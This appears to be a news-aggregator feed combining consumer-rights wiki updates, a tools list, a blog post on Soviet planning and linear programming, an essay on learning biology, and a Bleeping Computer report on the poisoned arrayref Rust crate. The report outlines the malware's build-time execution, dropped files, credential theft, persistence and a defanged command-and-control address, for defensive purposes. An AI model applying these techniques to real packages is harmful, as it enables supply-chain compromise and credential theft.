  • Admins now have access to a panel that can enable/disable 'lockdown mode', where account creation will be temporarily disabled, and non-confirmed users will no longer be able to make edits. This can be found at Special:SiteLockdown .
  • Staff with the new 'rollback-manager' permission also now have the ability to perform mass rollbacks, where a large number of edits made by a single user can be simultaneously reverted. This can be found at Special:MassRollback .
  • Awards can be manually created and handed out by staff using the interface at Special:GiveAward . These will appear at the bottom of user pages.

As an aside, we've also now started to index on Google! A few hundred of our pages can be searched for, though it may take some time for their placement to climb up the ranks.

Big thank you to Jake for his hard work on the update, and for everyone here for keeping the wiki rolling!

2026-06-15

Just wanted to share a few announcements and updates.

First and foremost, we've enabled temporary accounts for anon edits on the wiki, so that IP addresses will no longer appear in place of a non-logged-in user's username when they edit anonymously. This makes editing without an account a bit more private, and reduces the chance of publicly exposing anything if you accidentally make an edit whilst logged out ( IP info is still retained on the backend though, so that admins can use it to spot troublemakers).

We've also improved the links between the CRW's Discord and Zulip - the #off-topic, #privacy, and #tech-news channels are now bridged! (Zulip folks can find all bridged channels as topics under #Discord-bridge).

2026-03-27

We'd like to announce the launch of two new projects on the wiki:

  • Project Laws aims to increase the number of articles about consumer-rights-relevant laws from around the world, so that the wiki can be a useful resource for people trying to find out what the laws are where they live, or for people looking to compare and contrast the laws of different countries;
  • Project Maintain brings together a number of the tasks that need to be done on a regular basis to keep the wiki ticking over, and points you in the right direction!

Also, remember to sign up for this month's Zoom hangout and get yourself on the mailing list for the meeting link by emailing [email protected] with the subject line 'monthly hangout'! The hangout will be at the same time as last month - on the first Sunday of the month at 20:00 UTC. If you signed up last month, you'll still get the email.

🧰 Consumer Tools

Ad & tracking blockers

    • Pi-hole – Self-hosted network-based ad blocker.
    • uBlock Origin – Efficient browser-based ad and tracker blocker.
    • Adnauseum - Browser-based ad and tracker blocker built off of uBlock Origin that also clicks ads to obscure your digital fingerprint.

Anti-scam resources

Archival tools

Corporate accountability & recalls

Repair & Open designs

Price & product transparency

    • CamelCamelCamel – Amazon price tracker to detect deceptive price drops.
    • Keepa – Detailed price history and deals on Amazon products.

Privacy & surveillance tools

    • SimpleOptOut – Direct links to opt out of data brokers.
    • [$] EasyOptOuts – Automated data broker opt-out service.
    • Exodus Privacy - Analyzes privacy concerns in Android applications. Discover unwanted permissions and tracking libraries in common apps.

Subscription & dark pattern tracking

    • Trim – Finds and cancels unwanted subscriptions.
    • [$] Goodbudget – Budgeting app with debt tracker.
    • Terms of Service; Didn't Read / PrivacySpy – Summarizes privacy policies and rates companies by trustworthiness.
    • Deceptive Design – Defines, identifies, and catalogs dark patterns and deceptive design practices in various software and services.
    • Dark Pattern Games – A game review website devoted to helping you find games that don't use psychological tricks to manipulate you into becoming an addicted gamer.

[$] – paid service, subscription needed

Optimizing things in the USSR (2016)

Hacker News
chris-said.io
2026-08-20 13:55:16
Comments...
Original Article

11 May 2016

As a data scientist, a big part of my job involves picking metrics to optimize and thinking about how to do things as efficiently as possible. With these types of questions on my mind, I recently discovered a totally fascinating book about about economic problems in the USSR and the team of data-driven economists and computer scientists who wanted to solve them. The book is called Red Plenty . It’s actually written as a novel, weirdly, but it nevertheless presents an accurate economic history of the USSR. It draws heavily on an earlier book from 1973 called Planning Problems in the USSR , which I also picked up. As I read these books, I couldn’t help but notice some parallels with planning in any modern organization. In what will be familiar to any data scientist today, the second book even includes a quote from a researcher who complained that 90% of his time was spent cleaning the data, and only 10% of his time was spent doing actual modeling!

Beyond all the interesting parallels to modern data science and operations research, these books helped me understand a lot of interesting things I previously knew very little about, such as linear programming, price equilibria, and Soviet history. This blog post is about I learned.

Balance sheets and manual calculation: Kind of a trainwreck

The main task in the centrally planned Soviet economy was to allocate resources so that a desired assortment of goods and services was produced. Every year, certain target outputs for each good were established. Armed with estimates of the available input resources, central administrators used balance sheets to set plans for every factory, specifying exactly how much input commodities each factory would receive, and how much output it should produce. Up through the 1960s, this was always done by manual calculation. Since there were hundreds of thousands of commodities, and since the supply chains had many dependency steps, it was impossible to compute the full balance sheets for the economy. The administrators therefore decided to make some simplifying assumptions. As a result of these these simplifying assumptions, resource allocation became a bit of a trainwreck. Below are a few of the simplifications and their consequences.

  • Dimensionality reduction by removing variables. Because there were too many commodities to track, administrators often limited their analysis to the 10,000 most important commodities in the economy. But when the production of those commodities were planned, there was often a hidden shortage of commodities whose output was not planned centrally but which were used as inputs to one of the 10,000 planned products. Factories that depended on those commodities often sat idle for months as they waited for the shortages to end.
  • Dimensionality reduction by aggregation. Apparently, steel tubes can come in thousands of different types. They can come in different lengths, different shapes, and different compositions. To reduce the dimensionality of the problem, administrators would often track the total tonnage of a few broad classes of steel tubes in the models, rather than using a more detailed classification scheme. While their models successfully balanced the tonnage of tubes for the broad categories (the output in tons of tube-producing factories matched the input requirements in tons of tube-consuming factories), there were constant surpluses of some specific types of tubes, and shortages of other specific types of tubes. In particular, since tonnage was used as a metric, tube-producing factories were overly incentivized to make easy-to-produce thick tubes. As a result, thin tubes were always in short supply.
  • Propagating adjustments only a few degrees back. Let’s say that during balance calculations, the administrators realized they needed to bump up the target output of one commodity. If they did that, it was also necessary to bump up the output targets of commodities that were input into the target commodity. But if they did that , they also needed to bump up the output targets of commodities that fed into those commodities, and so on! This involved a crazy amount of extra hand calculations every time they needed make an adjustment. To simplify things, the administrators typically made adjustments to the first-order suppliers, without making the necessary adjustments to the suppliers of the suppliers. This of course led to critical shortages of input commodities, which again led to idle factories.

Figure 1. Some example inputs and outputs in the Soviet economy in 1951, described in units of weight. This summary shows an extreme dimensionality reduction, more extreme than was ever used in planning. In this diagram, most commodities are excluded and each displayed commodity collapses across multiple different product types. Multiple steps in the supply chain are collapsed into a single step. (Source: CIA )


Even if the administrators could get the accounting correct, which they couldn’t, their attempts to allocate resources would still be far from optimal. In the steel industry, for example, some factories were better at producing some types of tubes whereas others were better at producing other types of tubes. Since there were thousands of different factories and tube types, it was non-trivial to decide how to best distribute resources and output requirements, and it was not immediately obvious which factories should be expanded and which should be closed down.

Supply chain optimizations

In the late 1960’s, a group of economists and computer scientists known as the “optimal planners” began to push for a better way of doing things. The group argued that a technique called linear programming , invented by Leonid Kantorovich , could optimally solve the problems with the supply chain. At a minimum, since the process could be computerized, it would be possible to perform more detailed calculations than could be done by hand, with less dimensionality reduction. But more importantly, linear programming allowed you to optimize arbitrary objective functions given certain constraints. In the case of the supply chain, it showed you how to efficiently allocate resources, identifying efficient factories that should get more input commodities, and inefficient factories that should be shut down.

Figure 2. Leonid Kantorovich, inventor of linear programming and winner of the 1975 Nobel Prize in Economics.


The optimal planners had some success here. For example, in the steel industry, about 60,000 consumers requested 10,000 different types of products from 500 producers. The producers were not equally efficient in their production. Some producers were efficient for some types of steel products, but less efficient for other types of steel products. Given the total amount of each product requested, and given the constraints of how much each factory can produce, the goal was decide how much each factory should produce of each type of product. If we simplify the problem by just asking how much each factory should produce without considering how the products will be distributed to the consuming factories, this becomes a straightforward application of the Optimal Assignment Problem , a well-studied example in linear programming. If we additionally want to optimize distribution, taking into account the distance-dependent costs of shipments from one factory to another, the problem becomes more complicated but is still doable. The problem becomes similar to the Transportation Problem , another well-studied example in linear programming, but in this case generalized to multiple commodities instead of just one.

By introducing linear programming, the optimal planners were modestly successful at improving the efficiency of some industries, but their effect was limited. First, political considerations prevented many of the recommendations surfaced by the model from being implemented. Cement factories that were known to be too inefficient or too far away from consumers were allowed to remain open even though the optimal solution recommended that they be closed. Second, since the planners were only allowed to work in certain narrow parts of the economy, they never had an opportunity to propagate their recommendations back in the supply chain, although one could imagine extending the models to do so. Third, and perhaps most importantly, the value of each commodity was set by old-school administrators in an unprincipled way, and so the optimal planners were forced to optimize objective functions that didn’t even make sense.

Ideas about optimizing the entire economy

While the optimal planners were able to improve the efficiency of a few industries, they had more ambitious plans. They believed they could use linear programming to optimize the entire economy and outperform capitalist societies. Doing so involved more than just scaling out the supply chain optimizations adopted by certain industries. It involved shadow prices and interest rates, and a few other things I’ll admit I don’t totally understand. But while I don’t really understand the implementation, I feel like the broader goal of the planners is easier to understand and explain:

Basically, in a completely free market, at least under certain assumptions , prices are supposed to converge to what’s called a General Equilibrium. The equilibrium prices have a some nice properties. They balance aggregate supply and demand, so that no commodities are in shortage or surplus. They are also Pareto efficient , which means that nobody in the economy can be made better off without making someone else worse off.

The optimal planners thought that they could do better. In particular, they pointed to two problems with capitalism: First, prices in a capitalist society were determined by individual agents using trial and error to guess the best price. Surely these agents, who had imperfect information, were not picking the exactly optimal prices. In contrast, a central planner using optimal computerized methods could pick prices that hit the equilibrium more exactly. Second, and more importantly, capitalism targeted an objective function that — while Pareto efficient — was not socially optimal. Because of huge differences in wealth, some people were able to obtain far more goods and services than other people. The optimal planners proposed using linear programming to optimize an objective function that would be more socially optimal. For example, it could aim to distribute goods more equitably. It could prioritize certain socially valuable goods (e.g. books) over socially destructive goods (e.g. alcohol). It could prioritize sectors that provide benefits over longer time horizons (e.g. heavy industry). And it could include constraints to ensure full employment.

What happened

None of this ever really happened. The ambitious ideas of the optimal planners were never adopted, and by the 1970s it was clear that living standards in the USSR were falling further behind those of the West. Perhaps things would have been better if the optimal planners got their way, but it seems like the consensus is that their plans would have failed even if they were implemented. Below are some of the main problems that would have been encountered.

  • Computational complexity. As described in a wonderful blog post by Cosma Shalizi , the number of calculations needed to solve a linear programming problem is: \((m+n)^{3/2} n^2 log(1/h)\), where \(n\) is the number of products, \(m\) is the number of constraints, and \(h\) is how much error you are willing to tolerate. Since the number of products, \(n\), was in the millions, and since the complexity was proportional to \(n^{3.5}\), it would have been practically impossible for the Soviets to compute a solution to their planning problem with sufficient detail (although see below). Any attempt to reduce the dimensionality would lead to the same perverse incentives and shortages that bedeviled earlier systems driven by hand calculations.
  • Data quality. The optimal planners thought that optimal computer methods could find prices that more exactly approximated equilibrium than could be done in a market economy, where fallible human actors guessed at prices by trial and error. The reality, however, would have been the exact opposite. Individual actors in a market economy understand their local needs and constraints pretty well, whereas central planners have basically no idea what’s going on. For example, central planners don’t have good information on when a factory fails to receive a shipment and they don’t have an accurate sense for how much more efficient some devices are than others. Even worse, in order to obtain more resources, factory managers in the USSR routinely lied to the central planners about their production capabilities. The situation became so bad that, according to one of the deep state secrets of the USSR, central planners preferred to use the CIA’s analyses of certain Russian commodities rather than reports from local Party bosses! This is especially crazy if you consider that the CIA described its own data as being of “debilitatingly” poor quality.
  • Nonlinearities. The optimal planners assumed linearity, such that the cost for a factory producing its 1000th widget was assumed to be the same as the cost for producing its first widget. In the real world, this is obviously false, as there are increasing returns to scale. It’s possible to model increasing returns to scale, but it becomes harder to solve computationally.
  • Choosing an objective function. Choosing what the society should value is really a political problem, and Cosma Shalizi does a very nice job describing why it would be so hard to come to agreement.
  • Incentives for innovation. The central planners couldn’t determine resource allocation for products that didn’t exist yet, and more importantly neither they nor the factories had much incentive to invent new products. That’s why the Soviet Union remained so focused on the steel/coal/cement economy while Western nations shifted their focus to plastics and microelectronics.
  • Political resistance. As described in a previous example, the model-based recommendations to shut down certain factories were ignored for political reasons. It is likely that many recommendations for the broader economy would have been ignored as well. For example, if a computer recommended that the price of heating oil should be doubled in the winter, how many politicians would let that happen?

Could this work in the future?

Had the optimal planners’ ideas been adopted at the time, they would have failed. But what about the future? In a hundred years, could we have the technical capability to pull off a totally planned economy? I did some poking around the internet and found, somewhat to my surprise, that the answer is actually… maybe . It turns out that two of the most serious problems with central planning could have technological solutions that may seem far-fetched but are perhaps not impossible:

Let’s start with computational complexity . As described above and in Cosma Shalizi’s post , the number of steps required to solve a linear programming problem with \(n\) products and \(m\) constraints is proportional to \((m+n)^{3/2} n^2\). The USSR had about 12 million types of goods. If you cross them over about 1000 possible locations, that gives you 12 billion variables, which according to Cosma would correspond to an optimization problem that would take a thousand years to solve on a modern desktop computer. However, if Moore’s Law holds up, it would be possible in 100 years to solve this problem reasonably quickly. It’s also worth pointing out that the economy’s input-output matrix is sparse, since not every product depends on every other product as input. It may be possible that someone might develop a faster algorithm that leverages this sparsity, although Cosma is somewhat skeptical that this could happen. [In an earlier version of this post, I discussed a sparsity-based proposal that supposedly brought things down to \(m \times n\) complexity. This was apparently a red herring that doesn’t actually solve the optimization problem.]

As described earlier, the second serious issue with a centrally planned economy was data quality : Central planners’ knowledge about the input requirements and output capabilities of individual factories was simply not as good as the people actually working in the factory. While this was certainly the case in the Soviet Union, one can’t help but wonder about technological improvements in supply chain management. Imagine if every product had tracking devices, with other sensors and cameras to determine product quality. Already Amazon is moving in that direction for pretty much all consumer goods, and one could imagine a world where demand could be measured with the Internet of Things . Whether a government would be able to harness this data as competently as Amazon is doubtful, and it’s obviously worth asking whether we would ever want a government to be using that type of data. But from a technical point of view it’s possible that the data quality issues that destroyed the USSR might be much less serious in the future.

All that being said, it’s still unclear to me how an objective function could be chosen in way that would democratically satisfy people, how innovation could be incentivized, or how political freedoms could be preserved. Socialism has a poor track record historically, with lots of failed promises that “this time will be different”. If you’d like to read more about how things worked in the USSR, you should definitely check out Red Plenty . It was one of the weirdest and most interesting books I have read.

Hackers poison arrayref Rust crate to push infostealer malware

Bleeping Computer
www.bleepingcomputer.com
2026-08-20 13:53:52
Hackers compromised the maintainer account behind the widely used Rust crate arrayref to introduce malware that executed on developers' systems during compilation. [...]...
Original Article

Hackers poison arrayref Rust crate to push infostealer malware

Hackers compromised the maintainer account behind the widely used Rust crate arrayref to introduce malware that executed on developers’ systems during compilation.

Within a 23-minute window, the attacker also poisoned two other crates, append-only-vec and internment, in the same supply-chain attack.

The arrayref crate is a popular Rust library with more than 53 million downloads over the past 90 days that is used by cryptography, graphics, and blockchain tools.

image

A report from application security company StepSecurity notes that the malicious Rust crate releases were arrayref 0.3.10, append-only-vec 0.1.9, and internment 0.8.7, all maintained by the same account.

The hacker injected a dependency on a package called proc-macro1, a typosquat impersonating the popular proc-macro2 crate, while retaining the rest of the upstream source code completely unchanged.

According to the researchers, a script in proc-macro1, named ‘build.rs,’ is automatically executed during compilation, reconstructing its infrastructure from base64-encoded fragments and selecting a payload that matches the host OS (Linux x86-64, Windows x86-64, macOS x86-64, and macOS ARM64).

StepSecurity says that the attacker also published multiple versions of four crates themselves (aovine, arone, aronenao, tinymember), which have been removed from crates.io.

On Unix systems, the malware writes to /tmp/rust-setup, marks it executable, and launches it as a detached process.

On Windows, it creates %TEMP%\rust-setup.ps1 and uses a hidden wscript.exe and VBS launcher to keep the process running.

The payload receives an address as an argument, believed to be a command-and-control address.

According to an analysis from cloud security company Wiz, the second-stage capabilities include exfiltrating host info and credentials.

The researchers say that the malware collects credentials from Google Chrome, Brave, and Edge browsers by querying SQLite login databases.

Persistence is established via the Registry Run key on Windows, LaunchAgent on macOS, and systemd on Linux.

Timeline and impact

The potential impact of this supply-chain attack is significant, as arrayref alone has more than 245 million lifetime downloads, while the collective count for append-only-vec and internment is nearly 19 million installs.

Projects using arrayref include blake3, Rust GUI frameworks such as egui, eframe, and iced, and components used in Ethereum and Solana.

The attack started at 01:17 UTC on August 20, when a GitHub account impersonating prominent Rust developer David Tolnay was created, followed by a similar account in the crates.io registry.

At 01:55, the attacker published proc-macro1@1.0.106, a benign copy of proc-macro2, followed by a malicious update through version 1.0.107, published at 7:11.

At 07:15, arrayref 0.3.10 was published through the legitimate droundy (David Roundy) account, while versions 0.3.5 through 0.3.9 were removed, potentially to force installation of the malicious release.

The incident was reported at 07:54. Crates.io deleted proc-macro1 at 08:03 and removed arrayref 0.3.10 from the index at 08:41.

Cybersecurity companies StepSecurity , SafeDep , and Aikido have each published a technical analysis of the supply-chain attack and shared indicators of compromise.

Wiz researchers note that "the campaign's infrastructure overlaps with recent DPRK [North Korean] supply chain attacks, including Mastra and axios ."

Developers who installed either during the exposure window of nearly 1.5 hours should assume compromise.

Recommended checks include searching Cargo.lock files, looking for the dropped files, and reviewing traffic to 23.254.165[.]112 on ports 9089 and 443.

Where compromise is confirmed, it is recommended to rotate all accessible credentials, CI tokens, signing keys, and other secrets, and rebuild the environment from safe backups.

Clean projects should pin a known-safe version of the affected dependencies until the maintainer situation is clarified and resolved.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

I should have loved biology

Hacker News
jsomers.net
2026-08-20 13:50:02
Comments...
Original Article

By James Somers

I should have loved biology but I found it to be a lifeless recitation of names: the Golgi apparatus and the Krebs cycle; mitosis, meiosis; DNA, RNA, mRNA, tRNA.

In the textbooks, astonishing facts were presented without astonishment. Someone probably told me that every cell in my body has the same DNA. But no one shook me by the shoulders, saying how crazy that was. I needed Lewis Thomas, who wrote in The Medusa and the Snail :

For the real amazement, if you wish to be amazed, is this process. You start out as a single cell derived from the coupling of a sperm and an egg; this divides in two, then four, then eight, and so on, and at a certain stage there emerges a single cell which has as all its progeny the human brain. The mere existence of such a cell should be one of the great astonishments of the earth. People ought to be walking around all day, all through their waking hours calling to each other in endless wonderment, talking of nothing except that cell.

I wish my high school biology teacher had asked the class how an embryo could possibly differentiate—and then paused to let us really think about it. The whole subject is in the answer to that question. A chemical gradient in the embryonic fluid is enough of a signal to slightly alter the gene expression program of some cells, not others; now the embryo knows “up” from “down”; cells at one end begin producing different proteins than cells at the other, and these, in turn, release more refined chemical signals; ...; soon, you have brain cells and foot cells.

How come we memorized chemical formulas but didn’t talk about that? It was only in college, when I read Douglas Hofstadter’s Gödel, Escher, Bach , that I came to understand cells as recursively self-modifying programs. The language alone was evocative. It suggested that the embryo—DNA making RNA, RNA making protein, protein regulating the transcription of DNA into RNA—was like a small Lisp program, with macros begetting macros begetting macros, the source code containing within it all of the instructions required for life on Earth. Could anything more interesting be imagined?

Someone should have said this to me:

Imagine a flashy spaceship lands in your backyard. The door opens and you are invited to investigate everything to see what you can learn. The technology is clearly millions of years beyond what we can make.

This is biology.

–Bert Hubert, “Our Amazing Immune System”

In biology class, biology wasn’t presented as a quest for the secrets of life. The textbooks wrung out the questing. We were nowhere acquainted with real biologists, the real questions they had, the real experiments they did to answer them. We were just given their conclusions.

The Roche Biochemical Pathways Poster

Plans for an alien machine, in Contact

For instance I never learned that a man named Oswald Avery, in the 1940s, puzzled over two cultures of Streptococcus bacteria. One had a rough texture when grown in a dish; the other was smooth, and glistened. Avery noticed that when he mixed the smooth strain with the rough strain, every generation after was smooth, too. Heredity in a dish. What made it work? This was one of the most exciting mysteries of the time—in fact of all time.

Most experts thought that protein was somehow responsible, that traits were encoded soupily, via differing concentrations of chemicals. Avery suspected a role for nucleic acid. So, he did an experiment, one we could have replicated on our benches in school. Using just a centrifuge, water, detergent, and acid, he purified nucleic acid from his smooth strep culture. Precipitated with alcohol, it became fibrous. He added a tiny bit of it to the rough culture, and lo, that culture became smooth in the following generations. This fibrous stuff, then, was “the transforming principle”—the long-sought agent of heredity. Avery’s experiment set off a frenzy of work that, a decade later, ended in the discovery of the double helix.

In his “Mathematician’s Lament,” Paul Lockhart describes how school cheapens mathematics by robbing us of the questions. We’re not just asked, hey, how much of the triangle takes up the box?

That’s a puzzle we might delight in. (If you drop a vertical from the top of the triangle, you end up with two rectangles cut in half; you discover that the area inside the triangle is equal to the area outside.) Instead, we’re told that if you ever find yourself wanting the area of a triangle, here’s the procedure:

Biology is like that, but worse because it’s a messier subject. The facts seem extra arbitrary. We’re told to distinguish “lipid bilayers” from “endoplasmic reticula” without understanding why we care about either in the first place.

Enormous subjects are best approached in thin, deep slices. I discovered this when first learning how to program. The textbooks never worked; it all only started to click when I started to do little projects for myself. The project wasn’t just motivation but an organizing principle, a magnet to arrange the random iron filings I picked up along the way. I’d care to learn about some abstract concept, like “memoization,” because I needed it to solve my problem; and these concepts would lose their abstractness in the light of my example.

Biology is no different. Learning begins with questions. How do embryos differentiate? Why are my eyes blue? How does a hamster turn cheese into muscle? Why does the coronavirus make some people much sicker than others?

*

A few months ago, I started a magazine assignment to answer some questions about SARS-CoV-2 and the immune system. I encountered paragraphs like this:

In low-MOI infections (MOI, 0.2), exogenous expression of ACE2 enabled SARS-CoV-2 to replicate and comprise ~54% of the total reads mapping more than 300x coverage across the ~30-kb genome (Figures 1A and 1B). Western blot analyses corroborated these RNA-seq data… It is noteworthy that, despite this dramatic increase in viral load, we observed neither activation of TBK1, the kinase responsible for IFN-I and IFN-III expression, nor induction of STAT1 and MX1, IFN-I-stimulated genes (Figure S1A; Sharma et al., 2003)…

“Imbalanced Host Response to SARS-CoV-2 Drives Development of COVID-19,” Cell

It was hard to get through a sentence without having to consult Wikipedia. In immunology in particular the nomenclature is expansive. One sentence might refer to “leukocytes,” the next to monocytes, the next to lymphocytes. There are a lot of squares-and-rectangles situations: all interleukins are cytokines, but not all cytokines are interleukins?

I’ve never come across a subject so fractal in its complexity. It reminds me of computing that way. A day of programming might involve constructing an elaborate regular expression, investigating a file descriptor leak, debugging a race condition in the application you just wrote, and thinking through the interface of a module. Everywhere you look—the compiler, the shell, the CPU, the DOM—is an abstraction hiding lifetimes of work. Biology is like this, just much, much worse, because living systems aren’t intentionally designed. It’s all a big slop of global mutable state. Control is achieved by upregulating this thing while turning down the promoter of that thing’s repressor. You think you know how something works—like when I thought I had a handle on the neutrophil, an important front-line player in the innate immune system—only to learn that it comes in several flavors, and more are still being discovered, and some of them seem to do the opposite of the ones you thought you knew. Everything in biology is like this. It’s all exceptions to the rule.

But biology, like computing, has a bottom, and the bottom is not abstract. It’s physical. It’s shapes bumping into each other. In fact the great revelation of twentieth-century molecular biology was the coupling of structure to function. An aperiodic crystal that forms paired helices is the natural store of heredity because of its ability to curl up and unwind and double itself with complements. Hemoglobin, the first protein studied in full crystallographic detail, was shown to be an efficient store of energy because of how oxygen atoms snap into its body like Legos, each snap widening the remaining slots, so that it loads itself up practically at a gulp. Most proteins are like this. The ones that drive locomotion twist like little motors; the ones that contract muscles climb and compress each other. Cells, too, are constantly in conversation, and the language they speak is shape. It’s keys entering locks: a protein might straddle the cell membrane, and when a cytokine (that’s a kind of signaling molecule) docks with it, it changes its shape, so that its grip loosens on some other molecule on the interior side of the membrane, as though fumbling a football—that football might be a signal itself, on its way to the nucleus.

I think my understanding of biology was too flow-charty in high school. I knew that DNA → RNA → protein and that this was called “gene expression,” but I was confused on the basics, like, how did genes actually “turn on”? And once they were on, were they on for good? It’s clearer when you think physically. Mammalian DNA isn’t laid out as one long double helix; it’s tightly coiled and coiled again, like this, around little circular proteins called histones:

DNA curled around histones. Image from this Moderna video , at 1:10

The structure of the resulting fiber has an effect on which genes are expressed. This is because the little molecular machine that transcribes DNA into RNA has to actually ride along the helix , and it can only ride along some parts of it, namely the parts that aren’t curled up out of sight . “Expressing” a gene just means that at a given moment, the machine is accessing a specific portion of DNA, resulting in lots of RNA transcripts, resulting in lots of the protein that the gene codes for. Kink the fiber a bit and you change what the machine can see, thus changing the distribution of proteins it produces. You have “reprogrammed” the cell. (There are many ways to control gene expression, maybe the most common being “repressors” that park somewhere on the DNA, physically blocking the transcription machinery.)

One of the workhorse techniques in modern biology, called RNA sequencing , or RNA-seq for short, takes a frozen cell and counts the RNA transcripts inside it. In effect you get a snapshot of all the proteins being expressed at that moment. The result is literally a big table mapping genes to transcript counts. You see that being one kind of cell versus another—or being in one kind of cellular mood versus another, say in health versus disease—is just a matter of having a different distribution across this table. RNA-seq results are often represented as vectors in high-dimensional space, the counts in the table forming the coordinates; cells move through this expression space as they self-regulate and adapt to their environment.

*

How do you develop a physical understanding of biology? I like pictures. One of my favorite books is called The Machinery of Life , by David Goodsell. It’s full of gorgeous hand-drawn illustrations. Here a bacterium’s flagellar motor is shown in context, then zoomed in on in an inset, with a third picture highlighting its functional elements:

What makes the book work is that it’s basically a re-introduction to molecular biology with the following premise: the cell is a very fast and crowded place , full of little machines, most of them protein, which you understand by taking a close look. It does an especially terrific job through insets like the above relating things at different scales. “Imagine your room filled with grains of rice. That will give you an idea of the billion or so cells that make up your fingertip.”

The writing is very good. It somehow gets you imagining the motion of these machines. It’s tempting when thinking about the cellular world to simply miniaturize our own; but at the cellular scale things behave weirdly. Movement is essentially by random diffusion. “The motions and the interactions of biological molecules are completely dominated by the surrounding water molecules… Inside the cell, [a] protein is battered from all sides by water molecules. It bounces back and forth, always at great speed, but takes a long time to get anywhere.”

It turns out that random diffusion is an incredibly slow way to travel large distances, but an incredibly fast way to explore at short distances. Being a protein inside a cell is like being at a crowded house party where it might take an hour to get across the room, but by the time you get there you’ve bumped into everybody six hundred thousand times.

This point is made beautifully in another favorite book of mine, A Computer Scientist’s Guide to Cell Biology , by William W. Cohen:

Molecules that come close to an organelle tend to remain close to it for a while, and brush against it many times—Figure 20 gives some intuitions as to why this is true.

The result of this is that if receptors for a protein p cover even a small fraction of the surface of an organelle, the organelle will be surprisingly efficient at recognizing p. As an example, if only 0.02% of a typical eukaryotic cell’s surface has a receptor for p, the cell will be about half as efficient as if the entire surface were coated with receptors for p.

This is the kind of fact that instantly clarifies how biology could possibly work. “Cell-sized objects thus have a ‘high bandwidth,’” Cohen writes. “They can recognize or absorb hundreds of different chemical signals, even if they are bounded by membranes.”

Cohen’s book is pitched as an attempt to distill what he learned in acquiring a “reading knowledge” of biology—enough to be able to follow along with a paper in Cell . He’s very good at explaining methods: how do biologists know what they know? For a computer scientist, a biologist’s methods can seem insane; the trouble comes from the fact that cells are too small, too numerous, too complex to analyze the way a programmer would, say in a step-by-step debugger. What biologists mostly do is stuff like:

  • Spin things to 15,000 Gs in centrifuges to separate pieces having different densities.
  • Separate things of different sizes using gels and magnets. (“Gel electrophoresis.”)
  • Take one of those gels and blot it with special paper to splay the parts out. Then wash the paper with an antibody that binds to a specific protein. Finally, wash the paper with another antibody that binds to the first one, and fluoresces when it does so. See where the meta-antibody lights up—that’s the protein you were looking for. (I think I’m describing a “Western blot.”)
  • Use the fluorescent antibody trick to tag cells expressing one or more proteins of interest. Then squeeze the cells through a tube so small that only one fits at a time. As each cell passes by, shine a laser through it to read its fluorescent tags, and use an electric charge to redirect it to a particular bin. Now you can sort and count cells that match your criteria. (“ Flow cytometry .”)
  • Genetically alter microorganisms to make molecular machines to spec; systematically turn off one gene at a time in a cell line and see what changes; edit the genome of a whole animal, and observe its life.

Cohen found, and I have too, that in trying to acquire a reading knowledge of biology it’s almost more useful to study the methods than any individual facts. That’s because the methods are highly conserved across studies. Everybody does Western blots. Everybody does flow cytometry and RNA-seq. You’ll see this stuff in every paper. (Or variations on the same themes: separation, sorting, selection, genetic manipulation.)

So that’s the foundation. Or almost: I have left for last my favorite resource of all, an incredible book called The Eighth Day of Creation: Makers of the Revolution in Biology , by Horace Freeland Judson. Parts of this book were serialized in the New Yorker in the 1970s. It is the Power Broker of biology, a tomic masterwork. It is not just comprehensive—Judson had hundreds of conversations with Francis Crick, with Jacques Monod and François Jacob, with their friends and spouses and colleagues; he read every paper, he read all their letters—but it pulls no punches scientifically. Judson always just describes the real thing.

And he emphasizes wrong turns. For example, before the discovery of tRNA—the adapter molecules that link triplets of RNA bases to the amino acids they code for—there was much confusion. It was widely believed that there had to be some kind of punctuation, because how else would one know where to start transcribing, or how to delimit one codon from the next? Certain mental models were ingrained: a going theory was that RNA formed specially shaped pockets for the different amino acids. The idea was that if you zoomed in on each triplet or quartet or whatever (the scheme was then unknown), it would always form the same unique shape that only one kind of amino acid could fit into. The amino acid chain would be formed right there alongside the RNA strand, using it almost as a mold. This was thought to happen in the nucleus. The idea that protein synthesis happened via an adapter, and that the nucleic acids therefore acted less like a mold than a digital code, more purely information—this was a major surprise.

Sitting on the grass at Woods Hole, Crick was talking about genes and proteins, in particular about his assumption that they were colinear and Benzer and Brenner’s plan to show as much, when Ephrussi took him aback by asking how he knew that amino acids were not put in their primary sequence by something in the cytoplasm. . . . “I don’t think Boris necessarily believed it, but it was an idea he thought wasn’t impossible.”

. . .

Crick also cast his skeptical eye over Watson and Rich’s attempts to build models of RNA. “Of course, you realize that our ideas on that were totally wrong. We thought that RNA had some structure with the twenty cavities, it was that period. Mm-hmm. Unfortunately people have forgotten what it is we didn’t know at the time.”

Put another way, the book gives us a view of science before discovery. It is a practitioner’s view of the subject. It is the opposite of a textbook.

*

Trying to study the immune system has gotten me into a Bret Victor sort of mood, wondering what could be done, or built, to make understanding this subject easier. A few things come to mind:

There are some incredible YouTube explainers. Ninja Nerd Science ’s videos on the immune system were a miracle—all delivered by a kid in grad school. He is a genius. What he does so well is what Goodsell, in that Machinery of Life book, does so well, what those famous “Inner Life of a Cell” 3D animations do so well: he helps you “see the unseeable.”

Ninja Nerd Lectures YouTube channel

But I wonder whether it should be easier for regular people to create useful illustrations. Consider how easy it is to write, tooling-wise: on the web, you are only ever one click away from a Markdown-enabled textarea that allows you to create and publish pretty, hyperlinked documents. Anyone with a keyboard can contribute a few sentences to Wikipedia or answer a question on Stack Exchange. Drawing, by contrast, is hard, and animating is at least an order of magnitude harder. And yet these media are essential for understanding biological processes.

So what do we do?

It’s telling that when I was recently on a Zoom with a PhD student who was explaining RNA-seq, he pulled out his iPad Pro and essentially made a Khan Academy lecture as he talked, drawing along the way. These tools need to become more common and cheaper.

But we also need more software like pattern brushes in Adobe Illustrator , BioRender , and CellPAINT to make it un-tedious to draw complex objects. We need more software like Molecular Maya , but simplified even further, à la Victor’s Stop Drawing Dead Fish , to make animating accessible to anyone who can gesture.

Quickly draw an endothelial lining with pattern brushes in Adobe Illustrator

Molecular Maya’s double-stranded DNA kit

Using vector graphics and Undo history, it should be possible to make collaboratively editable images, i.e., images that can be slowly improved as part of a knowledge project like Wikipedia or Stack Exchange.

